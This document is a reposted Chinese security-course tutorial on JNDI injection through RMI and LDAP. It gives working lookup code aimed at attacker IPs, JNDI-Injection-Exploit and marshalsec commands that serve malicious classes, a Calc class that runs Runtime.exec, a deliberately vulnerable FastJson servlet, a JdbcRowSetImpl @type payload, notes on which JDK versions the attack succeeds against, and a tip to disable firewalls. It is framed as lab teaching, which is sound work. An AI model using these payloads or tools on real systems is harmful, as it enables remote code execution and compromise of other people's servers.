037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

这篇具有很好参考价值的文章主要介绍了037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

jndi/ldap lookup,java,安全,java-ee

#知识点:

1、JavaEE-JNDI注入-RMI&LDAP
2、JavaEE-漏洞结合-FastJson链
3、JavaEE-漏洞条件-JDK版本绕过

演示案例:

➢JNDI注入-RMI&LDAP服务
➢JNDI注入-FastJson漏洞结合
➢JNDI注入-JDK高版本注入绕过

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

思考明白:
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024

#JNDI注入-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
**com.sun.rowset.JdbcRowSetImpl.execute()**
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

JNDI远程调用-JNDI-Injection

  • 创建一个rmi ldap等服务调用 实例化对象
new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");
  • 调用rmi ldap等服务对象类(远程服务
    ldap://47.94.236.117:1389/nx5qkh = 远程地址的一个class文件被执行
new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");

基于工具自主定义(节省下述2,4步骤)
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://47.243.50.47:1389/ptbddl”);
new InitialContext().lookup(“rmi://47.243.50.47:1099/ptbddl”);

package com.example.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiDemo {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");
        new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl");
    }
}

2、使用利用工具生成调用地址
**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx**

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

遇到问题:可以进行工具发送,但无法访问到指向类进行报错(JDK版本太高)

原因:JDK版本太高,对远程访问进行拦截

解决方式:更换低版本的JDK,即可成功

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

遇到问题:linux中运行JNDI-Injection,报错Address already in use
  • 原因:之前运行的该程序占用了端口,导致无法运行

jndi/ldap lookup,java,安全,java-ee

  • 解决方式:

    • netstat -tulpn(查询端口)

      jndi/ldap lookup,java,安全,java-ee

      jndi/ldap lookup,java,安全,java-ee

    • kill 2320 (停止端口)

      jndi/ldap lookup,java,安全,java-ee

  • 成功调用

jndi/ldap lookup,java,安全,java-ee

遇到问题:**JNDI-Injection-Exploit**不能进行正常的发送,和接收

原因:防火墙的原因

解决方式:关闭虚拟机和本机的防火墙即可访问成功

jndi/ldap lookup,java,安全,java-ee

JNDI远程调用-marshalsec

1、创建调用对象,编译调用对象

jndi/ldap lookup,java,安全,java-ee

javac Test.java

特别注意:要保证java和javac的版本一致,且都是1.8的低版本1.8.0_112

2、将生成的Class存放访问路径,并检查是否可访问到

建一个简单的WEB页面,又不想配置apache或者Nginx,并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务,并且使用起来也非常简单。

python -m SimpleHTTPServer

服务启动,默认端口为 8000

jndi/ldap lookup,java,安全,java-ee

服务起来后,

如果是本地或者内网环境打开浏览器 访问 localhost:8000 或者 127.0.0.1:8000

如果是云服务器则,替换为对应的云服务器ip地址即可,端口号不变: http://47.243.50.47:8000/

就可以访问初始web页面了

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi

jndi/ldap lookup,java,安全,java-ee

4、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

JNDI-Injection & marshalsec 实现原理:

例:RMI调用
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

  1. Registry首先启动,并监听一个端口,一般是1099:

    Registry registry = LocateRegistry.createRegistry(1099);
    

    在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

  2. Server向Registry注册远程对象:

    Reference reference = new Reference("Calc", "Calc", "http://localhost/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("calc", wrapper);
    

    服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。

  3. Client从Registry获取远程对象的代理:

    Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
    

    客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。

  4. Client通过这个代理调用远程对象的方法:

    // 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
    // 例如:CalcInterface calc = (CalcInterface) remoteObject;
    // 远程方法调用示例
    // 例如:calc.performCalculation();
    

    客户端通过获得的代理对象调用远程对象的方法。

  5. Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
    在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。

  6. Server端的代理将执行结果返回给Client端代理:
    执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。

jndi/ldap lookup,java,安全,java-ee

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;

public class RMIServer {

    public static void main(String[] args) throws Exception {
        // 创建 RMI 注册表并监听在 1099 端口上
        Registry registry = LocateRegistry.createRegistry(1099);

        **// 创建一个包含类信息的 Reference 对象
        // className: 远程加载时所使用的类名
        // classFactory: 加载的类中需要实例化的类的名称
        // classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议
        Reference reference = new Reference("Calc", "Calc", "http://localhost/");**

        // 使用 Reference 对象创建 ReferenceWrapper 对象
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        // 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"
        registry.bind("calc", wrapper);
    }
}
import java.lang.Runtime;

public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("mstsc");
    }
}

JNDI-Injection & marshalsec 区别:

LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

LDAP - jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

1.jndi - rmi ldap服务
2**.rmi ldap** 都可以进行远程调用对象 可以远程执行java代码class文件
3.攻击利用中就用到了jndi-inject项目和marshalsec
4.发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过

jndi/ldap lookup,java,安全,java-ee

5. 利用要知道其他类也能调用jndi注入(rmi,ldap)

jndi/ldap lookup,java,安全,java-ee

#JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson(黑盒:数据写错,发现返回包是对应的fastjson包)

jndi/ldap lookup,java,安全,java-ee

2、创建对应的FastJson项目

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

// 导入必要的包
package com.example.fsjndidome;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

// 定义一个带有 "/json" 映射的 Servlet
@WebServlet("/json")
public class Fsweb extends HelloServlet {

    // 重写 doPost 方法以处理 HTTP POST 请求
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        
        // 从名为 "str" 的请求参数中检索 JSON 数据
        String jsondata = req.getParameter("str");
        
        // 将接收到的 JSON 数据打印到控制台
        System.out.println(jsondata);
        
        // 使用 fastjson 解析 JSON 数据为 JSONObject
        JSONObject jsonObject = JSON.parseObject(jsondata);
        
        // 打印解析后的 JSONObject 到控制台
        System.out.println(jsonObject);
    }
}
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
**<form action="/FSJNDIDome_war_exploded/json" method="post">
    please input json data:<input type="text" name="str"><br>
    <input type="submit" value="提交">**
</form>
</body>
</html>

3、生成远程调用方法

**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130**

jndi/ldap lookup,java,安全,java-ee

4、提交JSON数据Payload

{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true}

jndi/ldap lookup,java,安全,java-ee

jndi/ldap lookup,java,安全,java-ee

总结:

jndi/ldap lookup,java,安全,java-ee

#JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:
https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html文章来源地址https://www.toymoban.com/news/detail-846009.html

到了这里,关于037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【java安全】JNDI注入概述

    什么是JNDI? JNDI(Java Naming and Directory Interface) 是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 可以定位资源和其他程序对象。 命名服务将名称和对象联系起来,使得我们可以用名称访问对象 JDNI的结构 jndi的作用主要在于\\\"定位\\\"。比如定位rmi中注册的对象,访问ldap的目录

    2024年02月11日
    浏览(26)
  • JAVA安全之Log4j-Jndi注入原理以及利用方式

    什么是JNDI? JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。 JDNI主要通过JNDI SPI(Service Provider Interface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组

    2024年01月19日
    浏览(72)
  • 033-安全开发-JavaEE应用&SQL预编译&Filter过滤器&Listener监听器&访问控制

    1、JavaEE-JDBC-SQL预编译 2、JavaEE-HTTP-Filter过滤器 3、JavaEE-对象域-Listen监听器 演示案例: ➢JavaEE-预编译-SQL ➢JavaEE-过滤器-Filter ➢JavaEE-监听器-Listen 提前编译好执行逻辑,你注入的语句不会改变原有逻辑! 预编译写法: safesql 是一个预编译的 SQL 查询语句,其中 ? 是一个占位符

    2024年02月22日
    浏览(34)
  • JNDI注入分析

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于

    2024年03月27日
    浏览(30)
  • 如何保护 LDAP 目录服务中的用户安全?

    轻量级目录访问协议(LDAP)是目前主流的身份验证协议之一,由密歇根大学的 Tim Howes、Steve Kille 和 Wengyik Yeong 于1993年创建,又经过了 Internet 工程任务组(IETF)的标准化,通过网络分发目录信息,扮演了身份源(IdP)的角色。 LDAP 在现代网络中的重要性在于该协议参与共享

    2024年01月17日
    浏览(41)
  • log4j JNDI注入漏洞

    目录 log4j JNDI注入漏洞 一、LDAP介绍 二、JDBC介绍 三、JNDI介绍 四、JNDI命名引用 五、log4j JNDI注入漏洞 ​LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。 ​JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句

    2024年02月01日
    浏览(33)
  • Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

    2.3.0 = Apache Kafka = 3.3.2 我是通过vulhub下载的环境,下载后直接启动即可。 打开页面,漏洞点在Load data功能页中。 在Load data功能页中的Streaming功能中。 在该功能中,将payload填写到Consumer properties属性值中即可。 在payload提交前,请先在vps机器中开启ldap服务。 使用低版本的jdk中

    2024年02月16日
    浏览(28)
  • CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞

    Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。 Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使

    2024年02月12日
    浏览(25)
  • 从0开始的LDAP注入

    ① - 参考 LDAP概念和原理介绍 - WilburXu - 博客园 (cnblogs.com) LDAP注入入门学习指南 - 云+社区 - 腾讯云 (tencent.com) LDAP注入与防御剖析 - r00tgrok (wooyun.js.org) LDAP概念和原理 (qq.com) ② - 介绍 目录 :目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目

    2024年02月07日
    浏览(29)
  • Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 l

    2024年02月07日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包